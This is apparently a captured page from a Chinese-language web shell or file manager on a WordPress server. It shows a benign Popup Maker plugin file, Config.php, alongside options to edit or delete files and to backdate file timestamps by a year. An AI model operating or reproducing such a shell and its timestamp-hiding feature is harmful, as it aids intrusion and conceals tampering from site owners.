文件操作 - Config.php
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/popup-maker/classes/Utils/Config.php
编辑文件内容
<?php /** * Config Utility * * @package PopupMaker * @copyright Copyright (c) 2024, Code Atlantic LLC */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class PUM_Utils_Config */ class PUM_Utils_Config { /** * Load configuration file * * @param string $file_name Configuration file name (without .php extension) * @return array<string, mixed> Configuration array or empty array if file not found */ public static function load( $file_name ) { $file_name = str_replace( '\\', DIRECTORY_SEPARATOR, $file_name ); $file = plugin_dir_path( __DIR__ ) . DIRECTORY_SEPARATOR . 'configs' . DIRECTORY_SEPARATOR . $file_name . '.php'; if ( ! file_exists( $file ) ) { return []; } return include $file; } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件